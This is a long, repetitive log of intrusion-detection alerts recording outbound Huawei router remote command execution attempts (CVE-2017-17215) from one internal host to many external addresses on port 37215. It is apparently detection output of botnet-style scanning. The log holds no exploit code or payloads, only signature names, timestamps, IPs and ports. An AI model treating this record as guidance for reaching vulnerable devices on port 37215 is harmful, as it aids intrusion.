ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.10.123.55

Timestamp:	2024-08-01T15:36:32.812135+0200
SID:	2835222
Source Port:	60234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.78.120.21

Timestamp:	2024-08-01T15:35:21.878843+0200
SID:	2835222
Source Port:	34600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.92.71.65

Timestamp:	2024-08-01T15:36:42.171043+0200
SID:	2835222
Source Port:	54700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 25.244.189.175

Timestamp:	2024-08-01T15:36:42.213950+0200
SID:	2835222
Source Port:	34844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.193.20.159

Timestamp:	2024-08-01T15:36:53.673996+0200
SID:	2835222
Source Port:	35738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.144.87.96

Timestamp:	2024-08-01T15:36:22.457198+0200
SID:	2835222
Source Port:	57804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.150.163.156

Timestamp:	2024-08-01T15:35:21.836407+0200
SID:	2835222
Source Port:	48004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.131.145.67

Timestamp:	2024-08-01T15:36:49.568581+0200
SID:	2835222
Source Port:	51112
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.74.54.45

Timestamp:	2024-08-01T15:35:20.204778+0200
SID:	2835222
Source Port:	59010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 53.89.11.247

Timestamp:	2024-08-01T15:37:00.158971+0200
SID:	2835222
Source Port:	37100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.149.96.70

Timestamp:	2024-08-01T15:36:24.449400+0200
SID:	2835222
Source Port:	49132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.150.191.64

Timestamp:	2024-08-01T15:36:20.314482+0200
SID:	2835222
Source Port:	37872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.167.163.83

Timestamp:	2024-08-01T15:35:21.931038+0200
SID:	2835222
Source Port:	40258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.221.26.120

Timestamp:	2024-08-01T15:36:20.427173+0200
SID:	2835222
Source Port:	52494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 98.82.168.244

Timestamp:	2024-08-01T15:35:20.214789+0200
SID:	2835222
Source Port:	38210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.228.171.36

Timestamp:	2024-08-01T15:35:20.545837+0200
SID:	2835222
Source Port:	36854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.83.163.99

Timestamp:	2024-08-01T15:35:21.905827+0200
SID:	2835222
Source Port:	48760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.251.68.85

Timestamp:	2024-08-01T15:35:16.404815+0200
SID:	2835222
Source Port:	33716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.102.172.2

Timestamp:	2024-08-01T15:35:16.855170+0200
SID:	2835222
Source Port:	32944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.70.98.150

Timestamp:	2024-08-01T15:35:20.206314+0200
SID:	2835222
Source Port:	48430
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.241.83.226

Timestamp:	2024-08-01T15:36:39.037383+0200
SID:	2835222
Source Port:	39646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.232.33.160

Timestamp:	2024-08-01T15:36:14.877041+0200
SID:	2835222
Source Port:	36414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 69.134.32.164

Timestamp:	2024-08-01T15:35:21.834572+0200
SID:	2835222
Source Port:	54100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 92.28.110.8

Timestamp:	2024-08-01T15:35:16.383574+0200
SID:	2835222
Source Port:	42652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.44.123.150

Timestamp:	2024-08-01T15:35:20.210263+0200
SID:	2835222
Source Port:	35068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.107.203.106

Timestamp:	2024-08-01T15:35:35.087136+0200
SID:	2835222
Source Port:	33682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.120.189.219

Timestamp:	2024-08-01T15:36:18.253591+0200
SID:	2835222
Source Port:	45384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.53.92.187

Timestamp:	2024-08-01T15:36:32.871881+0200
SID:	2835222
Source Port:	54226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 133.178.29.77

Timestamp:	2024-08-01T15:35:17.038195+0200
SID:	2835222
Source Port:	39482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 213.7.214.14

Timestamp:	2024-08-01T15:35:48.348636+0200
SID:	2835222
Source Port:	41468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.205.226.210

Timestamp:	2024-08-01T15:36:26.743852+0200
SID:	2835222
Source Port:	55578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.86.247.19

Timestamp:	2024-08-01T15:36:18.265551+0200
SID:	2835222
Source Port:	55912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 137.127.201.124

Timestamp:	2024-08-01T15:36:44.200635+0200
SID:	2835222
Source Port:	60684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.135.219.224

Timestamp:	2024-08-01T15:36:39.184155+0200
SID:	2835222
Source Port:	40252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.247.36.52

Timestamp:	2024-08-01T15:35:20.575190+0200
SID:	2835222
Source Port:	57802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 119.90.131.53

Timestamp:	2024-08-01T15:35:20.206571+0200
SID:	2835222
Source Port:	44448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.115.87.61

Timestamp:	2024-08-01T15:35:23.860525+0200
SID:	2835222
Source Port:	52940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.29.131.245

Timestamp:	2024-08-01T15:35:20.208938+0200
SID:	2835222
Source Port:	49556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.68.19.147

Timestamp:	2024-08-01T15:36:11.948202+0200
SID:	2835222
Source Port:	57814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.189.228.92

Timestamp:	2024-08-01T15:36:14.827630+0200
SID:	2835222
Source Port:	60584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.232.6.247

Timestamp:	2024-08-01T15:36:06.682302+0200
SID:	2835222
Source Port:	53956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.255.156.158

Timestamp:	2024-08-01T15:36:48.591360+0200
SID:	2835222
Source Port:	60668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.130.241.167

Timestamp:	2024-08-01T15:35:31.705265+0200
SID:	2835222
Source Port:	37664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.149.109.117

Timestamp:	2024-08-01T15:36:22.514305+0200
SID:	2835222
Source Port:	38704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.126.249.208

Timestamp:	2024-08-01T15:36:16.169070+0200
SID:	2835222
Source Port:	41930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.221.214.187

Timestamp:	2024-08-01T15:36:32.818327+0200
SID:	2835222
Source Port:	46778
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 190.39.105.190

Timestamp:	2024-08-01T15:36:14.840872+0200
SID:	2835222
Source Port:	56180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.79.157.47

Timestamp:	2024-08-01T15:36:14.877155+0200
SID:	2835222
Source Port:	40338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.71.30.99

Timestamp:	2024-08-01T15:36:15.133528+0200
SID:	2835222
Source Port:	33344
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.17.179.252

Timestamp:	2024-08-01T15:35:21.906865+0200
SID:	2835222
Source Port:	56866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.51.252.216

Timestamp:	2024-08-01T15:35:16.386470+0200
SID:	2835222
Source Port:	35902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 123.204.127.148

Timestamp:	2024-08-01T15:35:40.255117+0200
SID:	2835222
Source Port:	35898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.45.9.14

Timestamp:	2024-08-01T15:36:57.563062+0200
SID:	2835222
Source Port:	38272
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.101.31.62

Timestamp:	2024-08-01T15:36:51.618852+0200
SID:	2835222
Source Port:	56120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.253.180.1

Timestamp:	2024-08-01T15:35:21.868788+0200
SID:	2835222
Source Port:	35078
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.247.146.32

Timestamp:	2024-08-01T15:36:14.832664+0200
SID:	2835222
Source Port:	58708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 183.227.14.205

Timestamp:	2024-08-01T15:35:17.261735+0200
SID:	2835222
Source Port:	47556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.127.239.68

Timestamp:	2024-08-01T15:35:48.348722+0200
SID:	2835222
Source Port:	60998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.76.214.25

Timestamp:	2024-08-01T15:35:20.204613+0200
SID:	2835222
Source Port:	57886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 70.131.211.245

Timestamp:	2024-08-01T15:36:18.278069+0200
SID:	2835222
Source Port:	56462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 19.145.5.222

Timestamp:	2024-08-01T15:35:20.216311+0200
SID:	2835222
Source Port:	51216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.164.112.203

Timestamp:	2024-08-01T15:35:21.928758+0200
SID:	2835222
Source Port:	54076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 151.198.130.124

Timestamp:	2024-08-01T15:35:20.209659+0200
SID:	2835222
Source Port:	54534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.229.239.179

Timestamp:	2024-08-01T15:35:20.545788+0200
SID:	2835222
Source Port:	60920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 50.190.114.23

Timestamp:	2024-08-01T15:35:43.355802+0200
SID:	2835222
Source Port:	51572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.103.132.220

Timestamp:	2024-08-01T15:35:17.246359+0200
SID:	2835222
Source Port:	41936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.120.5.174

Timestamp:	2024-08-01T15:35:48.348042+0200
SID:	2835222
Source Port:	44018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.71.103.70

Timestamp:	2024-08-01T15:36:15.123509+0200
SID:	2835222
Source Port:	50162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.143.203.204

Timestamp:	2024-08-01T15:35:37.335118+0200
SID:	2835222
Source Port:	47364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.31.117.188

Timestamp:	2024-08-01T15:36:18.251973+0200
SID:	2835222
Source Port:	53518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.12.148.92

Timestamp:	2024-08-01T15:36:39.059139+0200
SID:	2835222
Source Port:	60864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.189.95.196

Timestamp:	2024-08-01T15:36:22.454545+0200
SID:	2835222
Source Port:	37080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.123.148.2

Timestamp:	2024-08-01T15:35:40.223410+0200
SID:	2835222
Source Port:	55016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.171.207.212

Timestamp:	2024-08-01T15:35:21.850755+0200
SID:	2835222
Source Port:	57020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.101.83.39

Timestamp:	2024-08-01T15:36:30.753315+0200
SID:	2835222
Source Port:	57428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 168.229.145.2

Timestamp:	2024-08-01T15:36:09.933636+0200
SID:	2835222
Source Port:	40218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.140.209.158

Timestamp:	2024-08-01T15:36:18.261717+0200
SID:	2835222
Source Port:	39246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.255.40.203

Timestamp:	2024-08-01T15:35:20.214910+0200
SID:	2835222
Source Port:	53588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.173.97.242

Timestamp:	2024-08-01T15:36:22.459063+0200
SID:	2835222
Source Port:	37090
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.144.91.120

Timestamp:	2024-08-01T15:36:39.124334+0200
SID:	2835222
Source Port:	39894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.170.84.27

Timestamp:	2024-08-01T15:36:14.807999+0200
SID:	2835222
Source Port:	55720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.9.81.92

Timestamp:	2024-08-01T15:36:17.941383+0200
SID:	2835222
Source Port:	36800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 123.237.198.189

Timestamp:	2024-08-01T15:36:24.450311+0200
SID:	2835222
Source Port:	45264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.19.90.109

Timestamp:	2024-08-01T15:36:39.563366+0200
SID:	2835222
Source Port:	50442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 115.153.174.234

Timestamp:	2024-08-01T15:35:53.373220+0200
SID:	2835222
Source Port:	56212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.205.137.176

Timestamp:	2024-08-01T15:36:16.280296+0200
SID:	2835222
Source Port:	45970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.134.29.208

Timestamp:	2024-08-01T15:35:43.389529+0200
SID:	2835222
Source Port:	32966
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 195.148.25.100

Timestamp:	2024-08-01T15:35:43.356654+0200
SID:	2835222
Source Port:	58400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.93.244.59

Timestamp:	2024-08-01T15:35:37.242099+0200
SID:	2835222
Source Port:	56552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 196.225.244.156

Timestamp:	2024-08-01T15:35:20.545448+0200
SID:	2835222
Source Port:	60364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.239.207.159

Timestamp:	2024-08-01T15:35:50.298753+0200
SID:	2835222
Source Port:	49874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.202.9.150

Timestamp:	2024-08-01T15:35:17.266937+0200
SID:	2835222
Source Port:	51520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.222.198.85

Timestamp:	2024-08-01T15:36:39.033450+0200
SID:	2835222
Source Port:	40974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.126.158.54

Timestamp:	2024-08-01T15:36:48.591356+0200
SID:	2835222
Source Port:	42254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 31.68.35.109

Timestamp:	2024-08-01T15:35:21.862932+0200
SID:	2835222
Source Port:	39886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.61.88.101

Timestamp:	2024-08-01T15:36:14.808597+0200
SID:	2835222
Source Port:	33900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.74.117.94

Timestamp:	2024-08-01T15:35:37.241837+0200
SID:	2835222
Source Port:	36292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 207.13.138.47

Timestamp:	2024-08-01T15:35:17.273262+0200
SID:	2835222
Source Port:	55876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.251.95.71

Timestamp:	2024-08-01T15:35:26.008840+0200
SID:	2835222
Source Port:	32854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

